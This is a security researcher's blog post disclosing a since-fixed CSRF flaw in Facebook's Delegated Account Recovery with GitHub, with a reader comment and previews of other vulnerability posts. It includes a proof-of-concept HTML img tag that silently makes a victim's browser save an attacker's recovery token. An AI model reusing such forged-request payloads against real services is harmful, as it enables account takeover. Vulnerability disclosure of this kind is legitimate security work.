Skip to main content

Meh : CSRF in Facebook Delegated Account Recovery

Note this is going to be a quick post.

This year, at Enigma 2017 Conference, Facebook introduced a way to move Account Recovery beyond Email and the "Secret" Question.
After the presentation the moved operationally and presented the first integration partner : Github.



These days I have seen a lot of press around this and both Facebook and Github open sourced their implementation and specification (also presented at F8).
Well it turned out that Facebook side was susceptible to Cross Site Request Forgery.
Really simple explanation:


<html>
<img src="https://www.facebook.com/recovery/delegated/save/?fr=OkpK%2FnF9oZk%3D&relay_token=AfFdhnFYiPWXlcS17dG19Tz4sJT%2B%2FzBorBbDwEKgNMvxUHRIqMAnmmEGrGZlMheUfJdNHv40xyraKOfj64fR7ZgZ8HNNmincyRiHdu6NjuRii0JLZj8YpGx3zHX4XEZlPxfhQyv8LvUKH5%2FpC%2FbkjIv%2Bj80qYCO0bKrF7LAQ0DN0L%2BbPesPzYenAZHxd%2F%2BP74hS0NEEryQTo9vNxKBzaXuCB553yy6%2FmSQqatCL8pgXzduap9VbfP00C8uujARpMVLgUb53i%2F%2BCu%2F0jSzE%2BBrd%2BfvF86cXWX7xpMHLUqrbqduD6COu9GY6%2BdRYkoMC6VcWJVeRa8xBUE3uJ%2BUvu%2FigVuMAYyN1rign%2B9z8RSUScZdkxx4sQt0d7V5v4sOnLU1MVbDq5B3K4ISB7fjISiVyug&ck=3a01be58b48ffde62952b0c6550266a37d1a20bc0dafa9371223a2ff48ff9999&confirmed=1&origin=https%3A%2F%2Fgithub.com%2F&state=https%3A%2F%2Fwww.facebook.com%2Frecovery%2Fdelegated%2Frecover%3Fid%3D2b8ed0985a13287460d3e872ee018ba4">
</html>

Then is enough for the victim to visit asanso.github.io/facebook/test_fb.html and will have a new Github Token of the attack under https://www.facebook.com/settings?tab=security&section=delegated_account_recovery&view.

You might said: nice but whats the threat here?
Indeed is exactly what Facebook replied. Despite it they fixed the issue adding an additional confirmation page.

For the record the threat here is a Login CSRF to a Github account that is kind of


That's all folks. For more Meh follow me on Twitter.

Comments

victor said…
Hi Sanso,

I'm studdying Oauth and your vulnerabilities/security, and you said "The attacker start the integration with Github and stop the flow at the right moment.", how it is?
I have a lab and i'm trying to simulate this step, i used OWASP ZAP and BurpSuite but with two i received "error proxy" (the configurations in my browser are correct) when i try to log in with test user from facebook.

I have to literally to stop the request, inject my data and forward?

thanks
Antonio Sanso said…
@victor, here I was referring to stop the flow before the code ever reach FB.

Popular posts from this blog

Billion Laugh Attack in https://sites.google.com

tl;dr https://sites.google.com suffered from a Billion Laugh Attack vulnerability that made the containerized environment to crash with a single invocation.
Introduction Few months ago I applied for a talk at a security conference titled Soyouwanna be a Bug Bounty Hunter but it was rejected :(. The reason behind it is that I have been on/off in the bug bounty business for a while as you can see here:
Funny. Found in a forgotten drawer from the time I was a bug hunter :p #facebook#bug#bountypic.twitter.com/Tt4saGZVLI — Antonio Sanso (@asanso) November 30, 2018 and I would have liked to share some of the things I have learned during these years (not necessary technical advises only). You can find a couple of these advises here:


Rule #1 of any bug hunter is to have a good RSS feed list
and here


The rule #2 of any bug hunter is to DO NOT be to fussy with 'food' specifically with "left over"
Today's rule is: The rule #3 of any bug hunter is DO LOOK at the old stuff

and…

OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701)

Usual Mandatory Disclaimer: IANAC (I am not a cryptographer) so I might likely end up writing a bunch of mistakes in this blog post...

tl;dr The OpenSSL 1.0.2 releases suffer from a Key Recovery Attack on DH small subgroups. This issue got assigned CVE-2016-0701 with a severity of High and OpenSSL 1.0.2 users should upgrade to 1.0.2f. If an application is using DH configured with parameters based on primes that are not "safe" or not Lim-Lee (as the one in RFC 5114) and either Static DH ciphersuites are used or DHE ciphersuites with the default OpenSSL configuration (in particular SSL_OP_SINGLE_DH_USE is not set) then is vulnerable to this attack.  It is believed that many popular applications (e.g. Apache mod_ssl) do set the  SSL_OP_SINGLE_DH_USE option and would therefore not be at risk (for DHE ciphersuites), they still might be for Static DH ciphersuites.
Introduction So if you are still here it means you wanna know more. And here is the thing. In my last blog post I was …

Top 10 OAuth 2 Implementation Vulnerabilities

Some time ago I posted a blogpost abut  Top 5 OAuth 2 Implementation Vulnerabilities.
This week I have extended the list while presenting Top X OAuth 2 Hacks at OWASP Switzerland.

This blog post (like the presentation) is just a collection of interesting attack OAuth related.

#10 The Postman Always Rings Twice  I have introduced this 'attack' in last year post . This is for provider implementer, it is not extremely severe but, hey, is better to follow the spec. Specifically

The client MUST NOT use the authorization code  more than once.  If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

It turned out that even Facebook and Googledid it wrong... :)

#9 Match Point To all OAuth Providers be sure to follow section 4.1.3 of the spec in particular

...if the "redirect_uri" parameter was included in the initial authorization requ…